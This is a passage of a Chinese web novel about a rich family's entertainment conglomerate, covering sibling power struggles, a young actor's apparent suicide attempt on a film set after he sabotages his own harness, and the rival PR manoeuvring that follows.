“这、这我多不好意思啊。”田总局促道,“您促成了我们拿下《蓝海》的保底发行,我们东宝赚了钱不说,公司的名声也打出去了,这么大的人情我不能白受着哇。” “财不外露。”钱秘书温声道,“田总要是真想感谢我们邱总,就别让赚钱的消息走漏。您这边保密工作做得好,我们才有机会继续合作。” “当然、当然。”男人忙不迭是地点头,“我绝不会向外接透露邱总。” 邱承澜点头,“您玩好,不用送。” 他们自地下车库驶出这片赌马区。 钱秘书一边开车一边感慨,“这点分红也就刚够您给《蓝海》出的宣传费的,算上您为宋折凝支付的拍摄场地费、请的摄影、艺术……这些杂七杂八的开销加起来,没准还倒贴十来万。” 邱承澜漠不关心道,“十五亿一年只萎缩蒸发十几万,算是不错的理财。” “我真是说不过您,”钱秘书失笑,“好吧,其他几处的钱也快要收回来了。我做了几个投资方案,一会儿您选一下,看看要用哪个来保住您这三年的理财成果。” “去掉所有三年期以上的,风险等级不要超过二。” 钱秘书愣了下,不可置信道,“您难道是要存银行吗?” “你也可以去证券公司买国债和货币。”邱承澜淡声道。 “巨额资金怎么能这么处理。”钱秘书无法容忍,“就算是您,也是花了三年时间、做了好几次杠杆才凑到的几十亿啊。” “三年……”邱承澜抵着太阳穴,目光望向身侧的车窗。 他目光远去,落在道路上形形色色的普罗大众身上。 “钱秘书,一般的人家,为女儿准备嫁妆要花多少时间。” “嗯?这个么,每家每户差得就大了。”钱秘书蹙眉,听出了邱承澜话中的“女儿”代指谁。 “独生女儿的家庭会准备房产,就算不是全款买,至少也会给一个首付。”他搜刮着自己模糊的记忆,“除此之外再要个车子、要一两套金饰,给一点小家用的钱……算下来,两三百万?” 邱承澜虚望着过往的行人,喃喃自语:“这么说,普通人家给女儿攒嫁妆的时间不止三年。” “邱总,恕我多嘴,芜澜小姐不是个缺钱的主。她不光盈利模式比您轻松,她的名气和信誉也足以吸引全世界的投资行。” “做地产垄断比她想得更费钱。”邱承澜瞌眸,“备着吧,她那影视城计划烧钱得很。” 钱秘书叹气,“您这样煞费苦心,我真怕芜澜小姐误会了您。” “我不在意。” “您不在意,有心之人却会趁虚而入。这次会议闹得这么难看,很快到处都会是兄妹决裂的流言蜚语了。” 闻言,邱承澜勾起了唇角。 “是啊,”他食指轻点扶手,漆黑的眸底浸了笑意,“很快,所有想要扳倒我的人,都会涌去我妹妹身边。他们的计划、掌握到的情报,全部都会交到芜澜手里。” 往后,他的敌人便是他妹妹的拥趸。 他所有的弱点都掌握在邱芜澜手中,而邱芜澜绝不会伤害他,正如她不会伤害她厌恶的父亲。 邱承澜再也不用担心明枪暗箭了。 退一步来说,如果他这辈子真的要被谁扳倒,那扳倒他的人,只能是邱芜澜—— 邱承澜只能接受是他的妹妹把他从高座上扯下来; 他只能接受是他的妹妹取代了他的位置、踩着他的头往上攀爬。 他能接受的,只有她。 第92章 第九十二章 邱芜澜昏昏沉沉地回到了别墅, 本想洗完澡蒙头睡觉,却在入门时嗅到了饭菜香。 香甜的味道令邱芜澜精神一爽,却又不觉皱眉, 产生了领地被入.侵的不适。 她的确不排斥华君润,可也还没允许他在不打招呼的情况下私自进入她的房子, 给她搞什么欢迎惊喜。 邱芜澜不喜欢意料之外,尤其是她刚刚因为一部意料之外的电影, 在整个集团面前和邱承澜爆发了一场口角。 她踏入厨房,让华君润离开,不想, 在里面的人竟是季尧。 “阿尧?”短暂的诧异后, 她随即为这份诧异感到歉疚。 为了让季尧独立, 她这段时间有意和他保持了距离。回想起来, 自己已经很久没有吃过季尧做的饭了, 以至于闻到食物的味道后, 第一反应会是华君润。 “姐姐。”季尧放下手中的裱花袋, 扭头冲她绽开甜蜜的笑,“你回来了。” 她不再关心他了,他的笑容却一如既往灿烂, 令邱芜澜五味杂陈。 视线下移, 她看见季尧通红的双手。 他旁边搁了一碗冰水, 为了防止手上的温度影响裱花袋里的奶油,他时不时就要将手浸到冰水里。 “嗯, 我回来了。”她说, “你怎么知道我这时候回来?” 邱芜澜说完便意识到这问题太过傲慢。正是饭点,谁说季尧只能为她做饭,他自己也是要吃饭的。 “是姐姐告诉我的呀。”然而, 季尧却承认了。 邱芜澜愣了下,“我告诉你的?” 通常她是会告诉季尧自己出差回来的时间,但这一次出发前她心情不快,加之最近没怎么见到季尧,便没有和他说起。 是她什么时候和他提了一嘴么? 不待细想,季尧已经端着盘子往外走,“时间刚好,姐姐去洗手吧,我来盛饭。” 他的态度太过自然,邱芜澜也懒得追究这点小事。 季尧和华君润不同,十几年来,她视他为自己的领地内的一部分,不论季尧何时出现在这里,都不会令邱芜澜感到冒犯。 只是如今令她担忧怅然。 “阿尧,给你买的房子是让你住的。”她洗了手,坐到桌边,再一次提起独立的话题,“你有自己的地方。” “我的厨具没有姐姐这里齐全。”季尧给她拿了块蟹肉奶油小饼,挤奶油的手还有些发红。 “需要的你都可以带过去,以后别再这样了。” “我知道了姐姐。”这幅乖巧的表情,邱芜澜一看就知道没听进去。 她没有接过那块小饼,“季尧,我不想让你误会,但也没有在和你开玩笑。” 她已经不止一次地讲明过自己对他的希望、对他的爱惜,他总是左耳进右耳出,摆出一副可怜兮兮的模样蒙混过关。 这样下去,他什么时候才能摆脱邱家对他的束缚、摆脱她这个另类的姐姐。 见她冷了脸,季尧软下语气,“好嘛姐姐,阿尧知道了,真的不会再赖在姐姐家里了。” “我不是这个意思……” “我是说真的,吃完这顿饭我就走。”季尧恳切道,“今天是因为我知道君润哥不在,怕姐姐回来没人做饭才来的。姐姐别生气,我不会再做你不喜欢的事情了。” 邱芜澜抿唇。 他总是这样,让她怎么舍得狠下心来。 她又产生了愧疚,却面不改色,一言不发地吃完了饭后离开了餐厅,“我去洗澡,走的时候…把钥匙卡留下。” 不能、绝对不能再拖延下去了。 季尧怔忪抬眸。 他想看一眼邱芜澜的脸色,却只够上她转身走向浴室的背影。 “姐姐!”他猝然起身,邱芜澜没有回头,用更加坚定的语气与他割席,“阿尧,你长大了,就算是亲姐弟之间也有不便。” “以后来我家之前,要和我打声招呼。” 呼哧…呼哧—— 耳膜上震着古怪的声响,像是剧烈的大喘气,又像是心跳急促地泵血。 这震动一声响过一声,密集如鼓,心肺口鼻间陡然蹿起炙热的腥甜。 啪嗒—— 有什么滴落在了他碗里。 季尧眨了眨眼,他分明感觉到了有东西滴落,可暗红色的碗里除了猩红的米饭外什么也没有多出。 他看向其他地方,棕红色的桌子、黑红色的地板都干干净净,姜红色的衣服上也没有被污染之处。 整个世界都是恐怖的红,他看不出有什么不同。 啪嗒、啪嗒…… 鼻子有些发痒,季尧抬手触到了黏腻的濡湿。 他盯着手指好一会儿,迟钝地意识到,是流鼻血了。 …… “场务准备,灯光摄影准备!道具组最后检查一次道具,第一百二十九场马上开始!” 夜晚的秋叶影视城灯火通明,今天是补拍的最后一天,杀青宴的香槟已经冰在了车上,只等今晚之后做个简单庆祝。 补拍的部分是为了丰满女主感情变化。 从清纯善良的高门贵女变成心狠手辣的掌权国太,她不仅经历了家破人亡的颠沛流离,还在中后期失去了忠臣挚友。 男三作为女主父亲留下的旧部,不仅为她排忧逗闷,也是女主最大的帮衬。 在她刚成为国太时,为平定内乱,男三战死沙场,被乱箭从城墙上射下。 这是女主封心绝爱的重要情节,上一版的拍摄只简单闪了几个画面,不够突出,这次的补拍就是为了细化这段内容。 “威亚检查过了么。” “安全员刚亲自吊了一遍,没问题。” “行,让安全员在那里守着,其他人去看下武器盔甲,再排查下穿帮物标。” 拍摄这样大的场面,不仅整个道具组忙得团团转,从组长到实习生都昏天黑地,连好些艺人助理们都被征调借用了。 道具组组长确认了最关键的威亚后,提着两把大旗和下属冲出道具室。 威亚的保护带以及缓冲垫都在道具室里,组长正欲锁门,忽然听见了爽朗的少年音。 “陈老师。” 他扭头,看见走廊上,穿着戏服的季尧朝这边走来。 他已经上了妆,不再是前期青涩秀气的小公子,要演绎国太的心腹大将,季尧的肤色化深了两个度,五官上的妆容都更加成熟刚毅,戴着高马尾假发,身上是黑锦的窄袖劲装。 这幅暗藏精光的青年将军扮相此刻还没能挥出它的威力,被少年人畜无害的笑容破坏了英气。 组长惊讶道,“马上开拍了,你怎么跑仓库来了。” “我是第一次吊这么高的威亚,有点紧张。”少年不好意思地恳求,“陈老师,能让我先穿上防护带感受一下么。我习惯了勒着的感觉,正式拍摄的时候就不怕了。” “行啊。”组长打开门往里走,腋窝夹的两杆大旗卡在了门框上。 他连忙后退,笨拙地调整角度,另只手还拎着个工具箱,季尧快步上前,“没事陈老师,我自己去拿,您忙您的。” “你知道在哪不?” “知道。”季尧越过臃肿的他,矮身钻入仓库,“您把钥匙给我,走的时候我会关门的。” “好啊,谢谢,那我们先走了。” 季尧颔首,笑眯眯地冲着两人摆手。 扛着大包小包走出一段距离后,年轻的道具师扭头回望了一眼。 季尧已经走入道具室,看不见了。 他忍不住嘀咕,“陈哥,我怎么觉得季尧怪怪的。” “啥?” “说不上来,他笑得有点让人发毛,特假。” “哈,”陈组长嗤笑,“你知道吗,这么大个剧组,他是唯一一个没有试过镜的。人家这身份,能给你个笑脸就极好不错了,你还挑剔假不假。” “不是那个意思,”年轻人唉了一声,“他以前不是这样的啊。” “说得你多了解他似的。别管季尧怎么样了,先管好那堆投石车吧!” “哦……” 九点,《红丝鸳》最后一场戏准时打板。 冷灯如豆,这是上军将坚守文城的第三个月,亦是先王去世、国太掌权的第三个月。 文城之后,是国太所处的都城;文城之前,是大公子母家中军佐率领的三万大军。 “将军……”亲卫踏入门中。 这昏暗的屋子里已没有侍者了,无人记得去为将军挑起灯芯。 堪堪三十的年轻将军跪坐榻上,五官被黎明前的黪黩所溺。 看见房中孤影的刹那,亲卫戛然止步,沾满血污的脸上嘴角抽搦,好半晌,他没能说出话来,抬起污迹斑驳的臂甲揩了揩泛红的眼。 镇定神色,他大步朝榻上的将军走去,盔甲嗬嗬,伴随着金戈沉响,跪在了追随一世的主人面前。 “将军,弃城吧!” 这五个字泣血一般。 榻上的男人徐徐睁眸,剔透的浅色眸子看过太多的血与沙,被粗粝的世事打磨得精锐而超然。 “国太还在身后,”他开口,嗓子干涸喑哑,“你要我去哪。” “国太至今未曾发兵援助,她已是抛弃您了啊!” 中军将敛眸,下垂的眼睫将残灯的那点黄影也隔绝在外。 良久,他从塌上站起,“披甲。” 亲卫痛心疾首,跪而不起,嘶声哀劝:“将军!” 中军将转身,自行取了架上的铠甲穿戴。 重达数十斤的甲胄,他花了许久才穿上。整冠佩剑,他重步出门,迈向沙场。 “将军!”满含热泪的低吼在他身后响起。亲卫伏在地上,涕泗纵横,“将军,求您了,弃城吧!” 中军将脚步一滞,微微仰头,面向被烽火烧得通红的苍穹。 “国太于我,恩重如山。”他勾起唇角,“此身能报国太于万一,何其幸哉。” 言毕,季尧再不停顿,无视劝阻,大步走向了自己的死亡之地。 “很好季尧,”总导演难得大声高赞,“今天状态不错,保持住!马上就结束了。道具组准备,上安全垫!” 几个镜头下来,导演组十分满意。 他们谁都没想到季尧能把临终的男三演得这样好,他奉献自我时对女主的爱、对生死的超脱,对敌人的阴被季尧完美融合在了一块儿。 一般的演员在演这类戏时,要么用力过猛,过度表现自己的悲情,显得浮夸做作;要么感情不够到位,体现不出献祭生命的悲壮。 趁铺安全气垫的工夫,导演翻来覆去地看刚才拍的几个镜头,“不错,真不错。” “季尧年纪太小了,我还以为得NG个几十遍,没想到一条过。”摄影师也赞不绝口,“我不是奉承他,您看这里的眼神——” 他拿出手机,给导演看了几张图,“是不是很像?” “这是谁?”导演问。 “我以前跑新闻的时候,跟过一个精神病院。”摄影师道,“这是一位患者自杀前的照片。” 导演愣了下,仔细对比镜头里的季尧和自杀者的照片,“别说,是有点意思。” “可不,我刚才拍的时候一下子就想到当年跟的这个患者了。那种对待死亡的眼神,像、太像了!看得人鸡皮疙瘩都起来了。” “导演,道具OK!” “好!”导演顾不上闲聊,把相机还给了摄像,“趁热打铁,大家就位!季尧,调试下你身上的保护带,别害怕啊,大着胆子往下跳,下面有气垫,伤不着,咱们争取一次过!” 季尧没有回答,也没有像平常那样回以甜笑。 他木然地站在墙头上,唇角噙着一丝微不可察的笑意,如人偶脸上画好的笑容,无有生气,机械刻板;仔细深挖,又藏着一股魔怔般的解脱畅快。 导演不做他想,只以为他是入了戏,挥手示意打板。 这是男三的最后一个镜头,男主男二的戏在白天全部结束。 补拍的是男主死后、女主成为国太的片段,华君润的戏份不多,只来补几个女主回忆中的画面。 “你还不走么。”季语薇化了妆,坐在导演身后等待上场。 她还剩下一个孑然独立在战场骸骨中的梦境画面,要等季尧这边结束。 季语薇戴着满头朱钗,拖着玄色的国太华服,而她身边的华君润则一身浅驼色风衣,穿着轻便的春装。 花絮师注意到了这时空交错的一幕,将摄像头对准了两人。 沉沉的夜幕下,隔着几十米的距离,华君润眸光微斜,在镜头对准他的那一刻便有所感知。 他无奈暗叹,将手里准备自己喝的咖啡递给了季语薇。 “晚上冷,喝点热的。” 季语薇眨了眨眼。 她背对着花絮师,盯着送到面前的咖啡。 她很想将这杯咖啡浇到华君润头上,再把纸杯塞进他那张曾侮辱过她的嘴里。 不过是芜澜众多的情人之一,凭他也配诋毁她的爱? 季语薇不想碰过了华君润手的东西,但镜头对着他们,她必须和华君润一样,尽可能增加男女主演的小互动。 正当她思索着有没有什么俏皮的拒绝方法时,忽然听见一声重响,紧接着有尖叫炸起。 季语薇和华君润猛地回头,只见前方人头攒动,所有人都轰动围聚了起来。 “快叫救护车!” 杂乱如粥的人群中爆出几声刺耳的叫喊:“季尧掉下来了!” 第93章 第九十三章 季尧死死抓着威亚的安全带。 两个小时前, 季尧从道具室拿出了这根带子,割断了它的内侧。 他为邱芜澜处理过不计其数的食材,有软韧的肉、坚硬的骨、细软的刺、脆薄的蔬果, 切割这条尼龙细丝宽带时,季尧想起了自己为姐姐做的鲍鱼酥。 尼龙编织带韧度和柔软的面团毫无可比性, 可他一次就成功了。 贴着身体的内侧被纵向割开,保留了几微米厚的外表。 他握住了切割的部位, 安全员为他加钢丝时毫无觉察。 一切准备就绪,季尧踏上十数米高的城楼,大小十几个昂贵的镜头对准了他。 他张目而望, 航拍、俯瞰、平拍、地面, 这十几只猩红的眼睛盯着他, 每一只都迫不及待地想拍摄下坠落。 四面八方的镜头鼓舞着他、挑拨着他, 为即将发生的场景而激动不已。 不、不可以…… 季尧盯着悬空的脚下, 死死抓住安全带的断口, 手指却绵软无力, 像是有另外一个他主宰了这具躯体。 [他]承载了那些血眼的意志,是无数视线的集合体。 季尧的每一根手指、每一根发丝都随着[他]的指挥抬起、落下。 冥冥之中,[他]手里提着一根猩红的指挥棒。 那根宛如血液凝结的指挥棒被[他]徐徐扬至腰线。 季尧不受控制地抬起腿, 登上了女墙, 迎面鼓鼓猎风。 季尧意识到了[他]想要做什么, 极力后退,想从高处下来, 四肢却全然不受控制, 只凭那根血色的指挥棒调动。 随着季尧的登高,镜头愈集中在了他身上。 [他]高兴极了,快乐得心跳加速, 像是个从小被厌弃的孩子,突然得到了所有人的关注。 为了牢牢吸引住这些炽热的目光、持续得到关注,[他]将腰线处的指挥棒扬至胸线。 嗡…… 季尧大脑空白了一霎,膝盖带动小腿向前迈步,两只前脚掌离开墙体,悬空在外。 他看见了下方的安全气垫,以及更多的红色眼球。 不止是摄像,这个角度,他还能看见整个片场所有人,他们和镜头一起注视着他。 密密麻麻的红色眼球令季尧恍惚自己的眼睛也被染得血红。 他惊恐得头晕目眩,不是为黑暗中的万千红眼,而是为即将开场的戏幕。 那支指挥棒又一次抬起——不可以!季尧想要大喊,想要尖叫,可他脸上只有快乐的微笑。 不、不不、不不不不不不不不不不不不不! 不能跳不能跳不能跳不能跳! 这是影视城的第一部戏,一旦出了事故,这座影视城的身价会暴跌,《红丝鸳》的风评也会跌至低谷,监管、安全、应急局会轮番查封这座影视城、这部剧。 不能跳!不能跳!!! 季尧使出全身气力,崩得青筋暴突,终于,左脚往后收了半步,前脚掌踩回了实地。 他狠狠松了口气。 季尧要将右脚也收回来,却在发力的瞬间,骤然变换了场景。 眼前不再是人头攒动的片场,而是一间眼熟的客厅。 百平米的三室两厅,如同家庭情景剧里的装潢,没有什么风格,墙上有挂历,沙发桌上散着瓜子、零食,鞋柜上有手套、钥匙。 这些零碎挤占了不少空间,阳台上还挂着颜色各异的衣服袜子。 季尧惊诧转身,看见了许久未见的杨木。 高大的青年站在切好的水果前,低头看着果盘,含笑轻叙: 「小时候我很难见到父母,他们天南地北地跑业务,过年过节都未必回来。那时候我还装过病,想骗他们回来。」 他转过头,憨厚的脸上蓦地露出满含恶意的炫耀。 「现在我明明说了不需要人陪,我妈却天天请假非要拉我去医院。」 季尧瞳孔微缩。 他向前迈步,穿过了杨木,兀地置身于病房中。 「感觉好点了么,医生说你犯了低血糖。」 季尧骤然扭头,看见邱芜澜担忧地坐在床边。 她爱抚着他的身体,怜爱不已,「阿尧,别伤害它。」 姐姐…… 他贪恋她的触碰,想要回握她的手,却在倾身之时一阵头晕目眩。 眼前昏黑发花,这感觉无比熟悉,每当姐姐离开太久时,他都无法进食,时常低血糖发作。 熟悉的晕眩里,季尧听见了严厉的愠声。 「所以,你根本没有把我的话当一回事。」 他自昏黑中睁眸,瞳孔刚刚聚焦,便看见了邱芜澜含怒的脸。 「你需要我下次出差时,装上监控么。」 季尧后知后觉,原来就是这一次,姐姐为他布置了驱散黑暗的星星。 可有了华君润,她便把那些星星撤了。 她投入了华君润的怀抱,令他再度跌回无尽的黑暗之中。 季尧垂眸,身下变成了公司休息室的小床。 一杯果汁递到了他眼前。 「他欺负你了?」 「韩尘霄,真的说了那些话?」 季尧记得,这是他和韩尘霄爆发矛盾后发生的情景。 他只是跪地的时候擦伤了膝盖,姐姐却因此对韩尘霄勃然大怒。 「公司、资产,都是为了家族而存在,你当然比一个三线艺人重要。」 她对他说,「阿尧,不管如何,你都是我最疼爱的弟弟。」 他是她最疼爱的弟弟——既然如此,为什么要抛弃他,为什么要删掉他的指纹、让他交出钥匙卡! 他一直都乖巧听话,为什么还要抛弃他…… 季尧不明白自己做错了什么,他的撒娇、他的哀求全都不再起作用,不论他如何认错求饶,邱芜澜都无动于衷。 寻常的方法已经无法奏效,回顾过去,季尧找到了博取邱芜澜注意的关键—— 嗡…… 持着指挥棒的手腕抬高,豁然之间,似有华丽的古典乐章在季尧耳边响起。 它优美庄重、活泼高深,如同“自由”和“快乐”二词的具象化。 季尧盯着眼前猩红的指挥棒。 他挽着沉醉的笑,目视指挥棒冉冉升至最高线。 那猩红的杆子与他额心齐平,在万千瞩目下,轻盈斩下。 霎时间,他的身体和那支指挥棒一样轻盈。 他松开了紧抓安全带的手,持着佩剑,控制剑尖对准下方的安全气垫。 狂风从季尧耳畔呼啸而过,凌冽的风里,那华丽的乐章越奏越疾,明快鲜活,让季尧全身血液逆流,兴奋得想要大笑。 砰—— 最后一个音符在指挥棒的尖端落下,以绝倒的超级重音,戛然而止地结束了荒诞的全章。 救护车的声音尖锐又急促。 邱芜澜从直升机上下来,她跳得太急,前扑趔趄了两步,在简追上来扶她之前,已顺势跑了起来,往楼下而去。 “有气垫垫着,本来没有问题的,但他下落的时候,把道具用剑束身前。握剑的手臂受到冲击力,掌骨轻微骨裂,腕骨和肘关节脱臼。” “好在剑没有开封,气垫的质量也不错,右臂以外没有受伤。” “芜澜,别担心了,现场的气垫没有破,季尧没事的。” “真的很抱歉邱总,拍摄之前我们反复检查过威亚。这次事故是因为季尧身上的安全带断了,我们真的不知道怎么回事,系钢丝的时候它明明还是好好的啊。” “我们检查了那根安全带,断口很平整……除道具组的人以外,只有季尧拍摄前去过仓库,拿走了这条安全带……” “芜澜,你连夜赶过来,先在这里坐一会儿吧,季尧醒了我会叫你的。” 邱芜澜仰头靠在医院的墙壁上。 她闭着眼,高亮度的白炽灯却不肯予她安宁,将眼皮上的毛细血管照出血色红影。 她屏退了所有人,病房里除了她,就只有打着石膏,静静躺在床上的少年。 “小姐……” 简应付好了外面的人群,忧心忡忡地站在门口。 她有很多事情要征求邱芜澜的意见,可她也知道,这不是个合适的时机。 邱芜澜缓缓睁眸。 她目光落在昏睡的季尧身上,对简道,“天亮之后,请我的心理医生出一趟外诊。” 简愣了下。 片刻,她选择沉默,“好的,我去安排。” “走吧。”邱芜澜踏出病房,“有什么要处理的,我现在听完。” 简如释重负,旋即又升起一股自豪欣慰。 小姐在那个情妇儿子身上花费太多精力,她还以为她会消沉半日,看来,是她狭隘了。 …… “干杯——” 晶莹剔透的高脚杯碰在一处,酒水迸溅,在灯光下璀璨生辉。 “再一次,”芳若高举酒杯,“恭喜《蓝海》大卖!恭喜宋姐拿下60亿票房!” “恭喜恭喜!” “宋姐牛逼,蓝海牛逼!” “得了得了,这词翻来覆去多少遍了,都没点新意。”宋折凝喝了酒,笑着拿起筷子,“坐下吧,吃菜。” 回国以来的日子一天比一天舒坦,过去的一年,宋折凝不是没有质疑过自己:离开秋叶真的正确么。 如今,她很庆幸自己作出了这个选择。 虽说过程有点对不起老东家,可她走之前给过邱芜澜机会。 是邱芜澜不把她放在眼里,连她的投资都不肯收下。 “宋姐。” 正热热闹闹吃着饭,芳若忽然扭头,附在宋折凝耳边低语,“您看下这个。” “嗯?”宋折凝偏头,不经意扫了眼芳若递来的手机,眉头慢慢皱了起来。 她放下筷子,拿过手机细细读去。 一桌子人见她神色越来越凝重,也纷纷放下了筷子。 “怎么了宋姐,是黑贴?” “不,秋叶出事了。”宋折凝挑眉,“你们也都看看热搜。” 众人拿出手机,热搜已被秋叶和季尧占满。 “《红丝鸳》出安全事故了?” “呦呵,还是在他们自己的影视城里,这下谁还敢去那里拍啊。” 宋折凝百感交集,“是啊,当初我想投资她的影视城,邱芜澜愣是不肯。没想到啊,才拍了一部剧就出了安全事故。” “这就是有福之女不入无福之家。”女助理笑道,“秋叶和邱芜澜没这个福气,留不住您啊。” “是啊,这个级别的项目,就算是邱岸山都不好擦屁股。我看邱芜澜现在是血都要呕出来了,发生事故的还是她表弟。”负责宋折凝造型的化妆师幸灾乐祸,“说实话,我真的不太喜欢那个季尧。” “对比其他富二代,季尧还算好啦。”有人接话,“不过他就是被宠得太过了,没什么能力。” “我听说昨天的秋叶集团会议上,邱承澜想请宋姐回去,邱芜澜死活不同意,两人闹得很难看。现在秋叶娱乐出了这种重大失误,邱芜澜得被停职吧。” “那秋叶岂不是马上就要来找宋姐了?” 讨好谄媚的视线聚焦到宋折凝身上,她拿起了筷子,呵笑一声,不屑道,“好马不吃回头草,我才不回去。” 助理附和道,“就是,咱宋姐脱离秋叶后过得多好,没必要回去给人打工。” 宋折凝忽然又叹了口气,“平心而论吧,邱芜澜从前对我也不算差,至少资源上没亏过我。” 芳若笑道,“有些东西是说不清楚的,未必是秋叶里的人存心对您不好,可能就是磁场不合。” 宋折凝是信这个的,“我也在想,秋叶那个方位是和我有点冲突。” “可不是么,一离开秋叶,您的气色都好了不少。” 宋折凝没有吭声,面上流露出认可。 片刻,芳若轻声道,“宋姐,电影收官,60亿的热度眼看持续不了几天了,强行营销恐怕会引起路人逆反。秋叶出的这件事,倒是能形成一个不错的方案。” 宋折凝看向她。 芳若道,“您身上,可不就是个现成的爽文大女主剧本么。网民会喜欢看这个的。” 宋折凝挑眉,“我听明白了,你要我落井下石,趁机踩邱芜澜一脚?” 芳若微笑,“这不是落井下石,而是乘势反击。” “不太好吧。”宋折凝摸着手腕上的转运珠,“她现在已经是焦头烂额了,咱们这么做,有点不人道。” 她的语气轻飘飘地浮在半空,在场的人都听懂了宋折凝的意思,立刻给她搬台阶下。 “这有什么不好的,《蓝海》和您的热搜还挂着,就算我们不出手,营销号也会拿您和邱芜澜做文章,这流量还不如我们自己赚。” “您太心软太善良了,邱芜澜当初为了捧季语薇,给您买了多少黑稿啊。我要是您,我可忘不了这一茬。” “也是哈,一点儿不反击,显得我多窝囊。”宋折凝纠结了一会儿,勉为其难道,“而且你们也知道我和华映签了赌约,这两年的流量对我确实重要。” “您能这么想就对了。”芳若拍手,“蛋糕就这么大,不争抢怎么行呢。要是处境互换,您猜邱芜澜会不会放过您?” “就是啊宋姐,这是正常的商业竞争,您别多心了。” 听着一声声的宽慰,宋折凝心里好受了许多。 “行,”她又重重地叹了几声气,无可奈何地重新拿起筷子,“通知公关组吧,和他们说,差不多就行,也别太过分了。” 芳若一手拍着宋折凝的背,无言地支持她的决定;另只手举起了酒杯,“刚才的不算,来,再一次,庆祝宋姐荣耀归回!” “庆祝庆祝!” “恭喜宋姐首导大爆!” 热闹持续到深夜。 众人散了席,芳若出门,从包的暗袋里拿出了另一部手机。 她坐在车中,给钱秘书发了信息,汇报了自己的想法。 “邱总现在也很头痛,”钱秘书很快回复了她,“我没法跟你确定什么,你自己看着办吧,打点稳牌。” 他没有驳回芳若的方案,她说的不错,就算宋折凝不出手,营销号们也不会放过用宋折凝来拉踩邱芜澜的机会。 与其如此,还不如让宋折凝当这个恶人,让她在邱芜澜眼前刷点仇恨,激发邱芜澜的斗志。 但眼下的情况,邱芜澜是会被激发出斗志,还是被直接击垮,这实在是不好说。 钱秘书代入一下邱芜澜的位置都觉得棘手。 “真是烂泥扶不上墙。” 邱承澜捏了捏眉心,“我之前居然还给他表现的机会——就不该让那小子留在芜澜身边。” 钱秘书为他倒了水,递上药,“您要去看看小姐么,她现在心里恐怕不好受。” 邱承澜仰头吞下药片,药效未起,眼中全是躁戾,“不,我不能去。” “这事真的很不好处理。” “所以我更不能去。”邱承澜双手交叉,烦躁地闭上眼,“我要去了,她一定会问我的意见,最后又会听从我的指令。” “何况……”邱承澜微叹,“在这件事上,我也没什么好的想法。安全事故一旦爆出,很难有转圜的余地。” “我明白您的良苦用心,”钱秘书瞥向手边的药片,“可小姐她不是普通人,压力太大,会出问题的。” “我知道。”邱承澜咬牙,冷峻的五官溺在痛苦之中,只是一想到妹妹此时可能会有的表情,他就躁得气血上涌,想要砸毁身边的一切。 令他烦躁的不仅仅是这场事故,更是体内那肮脏的血脉。 他鄙夷着邱岸山,却在这时忽然理解了他—— 他明白了他将母亲一辈子困在家里的想法,甚至滋生出了一点羡慕。 如果芜澜也在家里,她就不会受到那么大的压力。他会保护好她,让她无忧无虑。 「哥哥」 「哥哥……」 「哥哥?」 脑海里倏尔漫起邱芜澜甜蜜的呼唤。 邱承澜呼吸微疾,为心里蹿升起对父亲做法的“认同”感到愈发暴怒。 这一刻,他清晰地意识到:自己是邱岸山的孩子,他遗传了他的基因、他的思想,以及他对妹妹的占有欲。 他可以摆脱疾病的控制,却无法摆脱遗传对他的影响力。 邱承澜深深吸气,将脑海中可怜无助的邱芜澜形象抹去,也将那股支配他身体的狂躁感压下。 “叫泽安过去。”他沉声道,“让他好好安慰芜澜,了解下她目前的想法,有什么需要的立刻告诉我。” 他不是邱岸山,芜澜也不是母亲。 他的妹妹不该要他的怜悯。 第94章 第九十四章 天还未亮, 外界已然开始发酵。 “导演临时帮我们做了应急,要求现场人员保密。但事发时看见的人太多了,网上已经有了消息, 各路记者也都在朝这里赶。” 简愁眉不展,“公关部一时拿不出好的点子, 他们没敢轻易回应,想先征求一下您的想法。” 不论是什么公关危机, 即便是宋折凝公然背刺秋叶,秋叶也有无数种方案洗白自己、抹黑对方;唯独安全事故非同小可。 事故发生在秋叶影视城、发生在《红丝鸳》剧组。 秋叶娱乐乃至秋叶集团,无论如何逃避不了责任。 邱芜澜支着额角, 目光垂在地面的光影上, 久久无言。 简没有催促, 即便邱芜澜一直被业内誉为营销天才, 这件事也着实棘手。 季尧这次受伤并不寻常, 无法打出“努力”“敬业”的励志牌。 如果只涉及一部电视剧, 秋叶尚能承担损失, 但《红丝鸳》的意义非凡,在《蓝海》大爆的这个时间节点上,《红丝鸳》几乎决定着秋叶娱乐的外在名誉和形象。 比《红丝鸳》更棘手的, 是影视城。 筹备三年的影视基地, 开业的第一部戏就发生了这样严重的安全事故, 这是怎么也洗不白的丑闻,不仅会让秋叶影视城沦为业内笑柄, 也必然影响后续订单。 季尧这轻轻一跳, 彻底将两个大型项目压垮。 简跟在邱芜澜身边二十年,这个时候毫无头绪,根本想不到完美的应对之法。 她能想到的只有道歉, 尽量恳切一点,等风波过去,再用其他劲爆的消息转移人们的眼球。 网民的眼球容易转移,金融机构的记忆力却不会这么容易覆盖。 市值暴跌已是无可避免的局面。 想到这里,简心痛万分,忍不住咒骂起那个情妇的儿子来。 小姐呕心沥血筹备的这两个项目,眼见瓜熟蒂落、等到了可以采摘的时候,却在临门一脚时全被他毁了! 他的那条破命可赔不了万分之一的损失! 时间分分秒秒过去,看着一言不发的邱芜澜,简心疼万分。 她想开口劝她休息,这一晚,她的小姐定然身心俱疲;可天马上就要亮了,黄金公关时间只有现在,她们拖不起。 长久的沉寂后,邱芜澜终于开了口。 她道,“安全带,是季尧提前拿走,故意割断的。他是有预谋的自杀。” “小姐……”简蹙眉,“这不是您的错,您对他已经无微不至,是他自己太脆弱,想不开。” “是啊,我对这个表弟仁至义尽,”那双清冷的美眸里一片虚无,“他偏偏不懂得知足,要用这样的手段毁了我。” 简懵了。 她虽然讨厌季尧,可也知道他不可能背叛邱芜澜,更不可能用这种极端的方法。 “小姐,您别这样想。”简安慰道,“我不是为他开脱,但季葶进了疗养院,说不定季尧心理也有问题。再说,他下落时把剑对向了气垫,八成是真心求死的。” 邱芜澜抬手,“这一段不要。” “什么?” “按我刚才说的做。”邱芜澜闭上眼,“道具组和导演都能作证他有预谋的自杀行为。这不是安全事故,而是一场豪门间争权夺势的狗血戏码,是我识人不清,养了条白眼狼在身边。” 简瞳孔骤缩。 “道歉、整改声明之后,马上发布季尧的解约通知,取消他的所有活动。” 邱芜澜从座位上起身,身影被冰冷的白炽灯拉得颀长细瘦。 “告诉外界,季尧被我封杀除名,再不会出现在大众视野。” 